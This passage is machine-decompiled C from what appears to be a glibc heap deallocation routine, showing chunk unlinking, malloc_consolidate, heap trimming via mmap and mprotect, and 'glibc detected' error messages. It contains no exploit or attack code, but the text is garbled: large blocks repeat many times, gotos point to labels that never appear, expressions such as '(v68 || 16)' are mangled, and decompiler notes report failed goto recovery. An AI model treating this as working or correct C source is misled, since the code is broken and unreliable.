v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v104 = (v67 - 17 + v74 - v65) / v67 - 1;
v75 = v104 * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
v100 = (int32_t)v43 + 1;
if (v100 != 0) {
v107 = (int32_t *)0x80b3b3c;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v32;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v100;
}
} else {
v101 = (int32_t *)v32;
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
if (v97 <= 0x100000) {
// 0x80b3a22
v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3);
if (v103 == 0) {
v107 = v37;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v97;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v103;
}
} else {
v101 = (int32_t *)v88;
}
}
// 0x80b3856
return (int32_t)v101;
}
v101 = (int32_t *)v104;
}
// 0x80b3856
return (int32_t)v101;
}
}
// 0x80b38d3
v63 = g21;
g98 = v63;
v71 = v63 & 5;
g95 = v71;
if (v71 != 5) {
// 0x80b38e7
if (v63 == 1) {
// 0x80b38f0
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3bab
v27 = (int32_t)g2;
v44 = _itoa_word(v48, v27, 16, v27, v1);
g97 = v44;
v54 = v46;
if (g96 < v44) {
// 0x80b3bcc
v52 = -v44;
v53 = -1 - g95;
g97 = -1 - (v53 < v52 ? v52 : v53);
v54 = (int32_t *)48;
// branch -> 0x80b3bd7
}
// 0x80b3bd7
if (*(int32_t *)g93 == 0) {
// 0x80b3eab
// branch -> 0x80b3be6
}
// 0x80b3be6
v77 = g98 & 2;
g98 = v77;
__libc_message((int32_t *)v77, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
v50 = v54;
// branch -> 0x80b38fc
// 0x80b38fc
if (v6 == *v19) {
// 0x80b3b04
v31 = g102 + v24;
g102 = v31;
v105 = v31 | 1;
*(int32_t *)(g101 + 4) = v105;
*(int32_t *)(v14 + 48) = g101;
v51 = v50;
v102 = v105;
// branch -> 0x80b3971
} else {
// 0x80b390b
if (*(char *)((v24 || 4) + v6) == 1) {
// 0x80b3919
v85 = *(int32_t *)(v5 + v2);
v86 = *(int32_t *)(v6 + 12);
g97 = v86;
v34 = (int32_t *)(v85 + 12);
if (v6 == *v34) {
// 0x80b3e00
if (v6 == *(int32_t *)(v86 + 8)) {
// 0x80b3e09
*v34 = v86;
*(int32_t *)(g97 + 8) = v85;
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v99 = v14 + 56;
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v99;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// 0x80b3856
return (int32_t)(int32_t *)v99;
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
v106 = *(int32_t *)(g82 + 4) & -8;
if (v106 >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v106;
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v104 = (v67 - 17 + v74 - v65) / v67 - 1;
v75 = v104 * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
v100 = (int32_t)v43 + 1;
if (v100 != 0) {
v107 = (int32_t *)0x80b3b3c;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v32;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v100;
}
} else {
v101 = (int32_t *)v32;
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
if (v97 <= 0x100000) {
// 0x80b3a22
v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3);
if (v103 == 0) {
v107 = v37;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v97;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v103;
}
} else {
v101 = (int32_t *)v88;
}
}
// 0x80b3856
return (int32_t)v101;
}
v101 = (int32_t *)v104;
}
// 0x80b3856
return (int32_t)v101;
}
}
// 0x80b3928
v64 = g21;
g98 = v64;
v72 = v64 & 5;
g95 = v72;
if (v72 != 5) {
// 0x80b393c
if (v64 == 1) {
// 0x80b3945
// branch -> 0x80b3af1
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3c2e
v28 = (int32_t)g2;
v45 = _itoa_word(v6, v28, 16, v28, v1);
g97 = v45;
v57 = v50;
if (g96 < v45) {
// 0x80b3c50
v55 = -v45;
v56 = -1 - g95;
g97 = -1 - (v56 < v55 ? v55 : v56);
v57 = (int32_t *)48;
// branch -> 0x80b3c5b
}
// 0x80b3c5b
if (*(int32_t *)g93 == 0) {
// 0x80b3ed3
// branch -> 0x80b3c6a
}
// 0x80b3c6a
v78 = g98 & 2;
g98 = v78;
__libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v99 = v14 + 56;
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v99;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v57;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// 0x80b3856
return (int32_t)(int32_t *)v99;
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
v106 = *(int32_t *)(g82 + 4) & -8;
if (v106 >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v106;
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v104 = (v67 - 17 + v74 - v65) / v67 - 1;
v75 = v104 * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
v100 = (int32_t)v43 + 1;
if (v100 != 0) {
v107 = (int32_t *)0x80b3b3c;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v32;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v100;
}
} else {
v101 = (int32_t *)v32;
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
if (v97 <= 0x100000) {
// 0x80b3a22
v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3);
if (v103 == 0) {
v107 = v37;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v97;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v103;
}
} else {
v101 = (int32_t *)v88;
}
}
// 0x80b3856
return (int32_t)v101;
}
v101 = (int32_t *)v104;
}
// 0x80b3856
return (int32_t)v101;
}
// 0x80b3e68
v81 = v64 & 2;
g98 = v81;
__libc_message((int32_t *)v81, (struct struct_59 *)"%s\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
} else {
// 0x80b3af8
*v22 = *v22 & -2;
// branch -> 0x80b3951
}
// 0x80b3951
v99 = v14 + 56;
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v99;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
v102 = v99;
// branch -> 0x80b3971
}
// 0x80b3971
if (g102 < 0x10000) {
// 0x80b3856
return (int32_t)(int32_t *)v102;
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
v106 = *(int32_t *)(g82 + 4) & -8;
if (v106 >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
v101 = (int32_t *)sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v106;
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v104 = (v67 - 17 + v74 - v65) / v67 - 1;
v75 = v104 * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
v100 = (int32_t)v43 + 1;
if (v100 != 0) {
v107 = (int32_t *)0x80b3b3c;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v32;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v100;
}
} else {
v101 = (int32_t *)v32;
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
if (v97 <= 0x100000) {
// 0x80b3a22
v103 = mprotect((int32_t *)((int32_t)v47 + v88), v69, 3);
if (v103 == 0) {
v107 = v37;
// 0x80b3a39
*(int32_t *)(g101 + 8) = v97;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v107 + 4) = v74 - v96 | 1;
v101 = v107;
// branch -> 0x80b3856
} else {
v101 = (int32_t *)v103;
}
} else {
v101 = (int32_t *)v88;
}
}
// 0x80b3856
return (int32_t)v101;
}
v101 = (int32_t *)v104;
}
// 0x80b3856
return (int32_t)v101;
}
// 0x80b3e36
v80 = v63 & 2;
g98 = v80;
__libc_message((int32_t *)v80, (struct struct_59 *)"%s\n");
v50 = v46;
// branch -> 0x80b38fc
// 0x80b38fc
if (v6 == *v19) {
// 0x80b3b04
v31 = g102 + v24;
g102 = v31;
*(int32_t *)(g101 + 4) = v31 | 1;
*(int32_t *)(v14 + 48) = g101;
v51 = v50;
// branch -> 0x80b3971
} else {
// 0x80b390b
if (*(char *)((v24 || 4) + v6) == 1) {
// 0x80b3919
v85 = *(int32_t *)(v5 + v2);
v39 = v85;
v86 = *(int32_t *)(v6 + 12);
g97 = v86;
v34 = (int32_t *)(v85 + 12);
if (v6 == *v34) {
// 0x80b3e00
if (v6 == *(int32_t *)(v86 + 8)) {
// 0x80b3e09
*v34 = v86;
*(int32_t *)(g97 + 8) = v39;
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v99 = v14 + 56;
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v99;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// 0x80b3856
return (int32_t)(int32_t *)v99;
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
} else {
// 0x80b39ce
v98 = v37;
// branch -> 0x80b39d0
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v76 = v42 - 1;
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v18 = v32;
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v18;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
} else {
// 0x80b3a09
v69 = v60 + v76 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
v18 = v97;
if (v97 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v18;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v98 + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b3928
v64 = g21;
g98 = v64;
v72 = v64 & 5;
g95 = v72;
if (v72 != 5) {
// 0x80b393c
if (v64 == 1) {
// 0x80b3945
// branch -> 0x80b3af1
} else {
// 0x80b3c2e
v28 = (int32_t)g2;
v45 = _itoa_word(v6, v28, 16, v28, v1);
g97 = v45;
v57 = v50;
if (g96 < v45) {
// 0x80b3c50
v55 = -v45;
v56 = -1 - g95;
g97 = -1 - (v56 < v55 ? v55 : v56);
v57 = (int32_t *)48;
// branch -> 0x80b3c5b
}
// 0x80b3c5b
if (*(int32_t *)g93 == 0) {
// 0x80b3ed3
// branch -> 0x80b3c6a
}
// 0x80b3c6a
v78 = g98 & 2;
g98 = v78;
__libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v57;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v32;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
if (v97 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v97;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v37 + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3e68
v81 = v64 & 2;
g98 = v81;
__libc_message((int32_t *)v81, (struct struct_59 *)"%s\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
} else {
// 0x80b3af8
*v22 = *v22 & -2;
// branch -> 0x80b3951
}
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
}
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
} else {
// 0x80b39ce
v98 = v37;
// branch -> 0x80b39d0
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v76 = v42 - 1;
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v18 = v32;
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v18;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
} else {
// 0x80b3a09
v69 = v60 + v76 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
v18 = v97;
if (v97 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v18;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v98 + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b38fc
if (v6 == *v19) {
// 0x80b3b04
v31 = g102 + v24;
g102 = v31;
*(int32_t *)(g101 + 4) = v31 | 1;
*(int32_t *)(v14 + 48) = g101;
v51 = v50;
// branch -> 0x80b3971
} else {
// 0x80b390b
if (*(char *)((v24 || 4) + v6) == 1) {
// 0x80b3919
v85 = *(int32_t *)(v5 + v2);
v39 = v85;
v86 = *(int32_t *)(v6 + 12);
g97 = v86;
v34 = (int32_t *)(v85 + 12);
if (v6 == *v34) {
// 0x80b3e00
if (v6 == *(int32_t *)(v86 + 8)) {
// 0x80b3e09
*v34 = v86;
*(int32_t *)(g97 + 8) = v39;
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
